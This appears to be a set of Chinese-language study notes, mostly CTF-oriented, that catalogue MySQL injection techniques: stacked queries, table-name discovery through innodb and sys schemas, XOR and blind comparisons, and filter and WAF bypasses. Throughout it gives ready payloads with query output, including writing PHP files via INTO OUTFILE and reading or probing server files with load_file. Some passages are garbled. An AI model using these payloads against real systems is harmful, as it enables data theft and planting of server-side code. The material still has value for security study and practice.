堆叠注入
![H@GB}_]B1VA0Y`R~DV(TA~3.png](/uploads/projects/airtail@zq3ecr/11b239f519a946a72e1213fa5f270b2d.png)
set 用于设置变量名和值
prepare 用于预备一个语句,并赋予名称,以后可以引用该语句
deallocate prepare 用来释放掉预处理的语句
这里用 16进制来表示 user表 赋值给 变量a
然后预备一个名为 execsql 的语句 ,然后执行
堆叠注入的使用条件非常有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持多条slq语句时才能使用。
利用 mysqli_multi_query() 就可以支持多条语句的执行
实际中,PHP为了防止sql注入机制,往往使用调用数据库函数mysqli_query 函数时,其只能执行一条语句,分号后内容不好会执行。
DNSLOG注入
MySQL数据库中的Innodb引擎注入
information_schema 简单来说就是存储这其他数据数据库、数据表、字段等信息的数据库
MySQL5.7之后,新增了 innodb_table_stas 和 innodb_index_stats 两张日志表,其中记录着表、键的信息
mysql> select * from mysql.innodb_table_stats;mysql> mysql> select * from mysql.innodb_index_stats;mysql.innodb_table_stats where database_name=database();+------+| flag |+------+| 1 || flag |+------+2 rows in set, 1 warning (0.00 sec)mysql> select * from flag where flag=1 union select group_concat(table_name) from mysql.innodb_index_stats where database_name=database();+----------------+| flag |+----------------+| 1 || flag,flag,flag |+----------------+2 rows in set, 1 warning (0.00 sec)
sys
由于performance_schema过于发杂,所以MySQL在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。
select query from sys.statement_analysis;
绕过 inforamtion_scchema
paylaod
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
获取第一列字段名
?id=-1' union all select*from (select * from users as a join users b)c--+
获取后续字段名
?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+
无列名注入
ascii比较注入
异或注入
在 and,or,||,&&被过滤的情况下
mysql> select * from ctf_test where user='2'^(mid(user(),1,1)='s')^1;
Empty set (0.00 sec)
mysql> select * from ctf_test where user='2'^(mid(user(),1,1)='r')^1;
+------+--------------+
| user | pwd |
+------+--------------+
| 2 | flag{OK_t72} |
+------+--------------+
1 row in set (0.00 sec)
防御手段绕过
union select , 被过滤
利用 join
select * from table1 where id=2 union select * from(select 1)a join (select 2)b;
,被过滤
利用 from…for
select * from table1 where id=2 and if(mid((select table1())from 1 for 1)='r',1,0);
limit中逗号被过滤
利用 limit…offset
mysql> select table_name from information_schema.tables where table_schema=database() limit 1 offset 0;
+------------+
| table_name |
+------------+
| admin |
+------------+
1 row in set (0.00 sec)
mysql> select table_name from information_schema.tables where table_schema=database() limit 1 offset 1;
+------------+
| table_name |
+------------+
| ctf_test |
+------------+
1 row in set (0.00 sec)
等号被过滤
like、regexp、<>
盲注时也可以用 ^、+、-等
还可以用 locate、position、instr三种函数进行判断
mysql> select * from ctf_test where user='2' and if(locate('ro', substring(user(),1,2))>0,1,0);
+------+--------------+
| user | pwd |
+------+--------------+
| 2 | flag{OK_t72} |
+------+--------------+
1 row in set (0.00 sec)
mysql> select * from ctf_test where user='2' and if(position('ro' IN substring(user(),1,2))>0,1,0);
+------+--------------+
| user | pwd |
+------+--------------+
| 2 | flag{OK_t72} |
+------+--------------+
1 row in set (0.00 sec)
mysql> select * from ctf_test where user='2' and if(instr(substring(user(),1,2),'ro')>0,1,0);
+------+--------------+
| user | pwd |
+------+--------------+
| 2 | flag{OK_t72} |
+------+--------------+
1 row in set (0.00 sec)
- locate(subStr,string) :函数返回subStr在string中出现的位置
- POSITION()函数返回字符串中第一次出现的子字符串的位置。
- INSTR(STR,SUBSTR) 在一个字符串(STR)中搜索指定的字符(SUBSTR),返回发现指定的字符的位置(INDEX);
数字型过滤 and or
select * from admin where id=1/(select sleep(3));md5注入
select * from admin where username = admin pass ='".md5($password,true)."'substr被替换
mid,left,right,substring,lpad,rpad 来替代在没有列名的情况下检索数据
在没有列名的情况下检索数据 ```sql mysql> SELECT FROM USERS WHERE ID =1; +——+—————+—————+ | id | username | password | +——+—————+—————+ | 1 | 123 | Dumb | +——+—————+—————+ 1 row in set (0.00 sec) mysql> SELECT FROM USERS WHERE ID = ((select 1,123,’Dumb’) <= (select * from users limit 1)); +——+—————+—————+ | id | username | password | +——+—————+—————+ | 1 | 123 | Dumb | +——+—————+—————+ 1 row in set (0.00 sec)
mysql> SELECT FROM USERS WHERE ID = ((select 2,123,’Dumb’) <= (select from users limit 1)); Empty set (0.00 sec)
<a name="3yfTk"></a>
## load_file & into_outfile
<a name="I75ki"></a>
### into_outfile
<a name="HPg9W"></a>
#### 通过union写入
```sql
select * from flag where flag=1 union select '<?php phpinfo();?>' into outfile '/var/lib/mysql-files/2.php';
通过 fileds terminated by 写入
select * from flag where flag=1 into outfile '/var/lib/mysql-files/3.php' fields terminated by 0x3c3f70687020706870696e666f28293b3f3e;
通过LINES TERMINATED BY写入
select * from flag where flag=1 into outfile '/var/lib/mysql-files/3.php' lines terminated by 0x3c3f70687020706870696e666f28293b3f3e;
通过LINES STRTING BY写入
select * from flag where flag=1 into outfile '/var/lib/mysql-files/4.php' lines starting by 0x3c3f70687020706870696e666f28293b3f3e;
load_file
select * from flag where flag=1 union select load_file('/var/lib/mysql-files/4.php');
利用报错注入来load_file
select * from flag where flag=1 and updatexml(1,concat(0x7e,(select load_file('/var/lib/mysql-files/4.php')),0x7e),1);
利用时间盲注来load_file
select * from flag where flag=1 and if(mid((select load_file('/var/lib/mysql-files/4.php')),1,1)='<',sleep(3),1);
利用load_file扫描文件是否存在
select * from flag where flag='' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('/var/lib/mysql-files/4.php')),0x7e),0);
ERROR 1105 (HY000): XPATH syntax error: '~0~'
mysql> select * from flag where flag='' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('/var/lib/mysql-files/1.php')),0x7e),0);
ERROR 1105 (HY000): XPATH syntax error: '~1~'
通过is_null函数的返回值来确定,如果是1的话代表文件不存在,如果是0的话文件存在。此方法可配合burp进行敏感文件的FUZZ。
绕过未知字段名
waf拦截了information_schema、columns、tables、database、schema等关键字或函数
select `1`,`2`,`3` from (select 1,2,3 union select * from users)a limit 2,1;
union 被拦截
select * from users where id=1 and (select * from (select * from users as a join users as b);
select * from users where id=1 and (select * from (select * from users as a join users as b using(id))as c);
select * from users where id=1 and (select * from (select * from users as a join users as b using(id,username))as c);
比较符号绕过
between a and b:返回a,b之间的数据,不包含b。
greatest()、least():(前者返回最大值、后者返回最小值)
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
与64比较,当页面正常返回时说明真实的ascii码小于或等于64
注释符被过滤
hex编码
SELECT password FROM Users WHERE username = 0x61646D696E
char编码
SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
%2527
主要绕过magic_quotes_gpc过滤,因为%25解码为%,结合后面的27也就是%27也就是',所以成功绕过过滤。
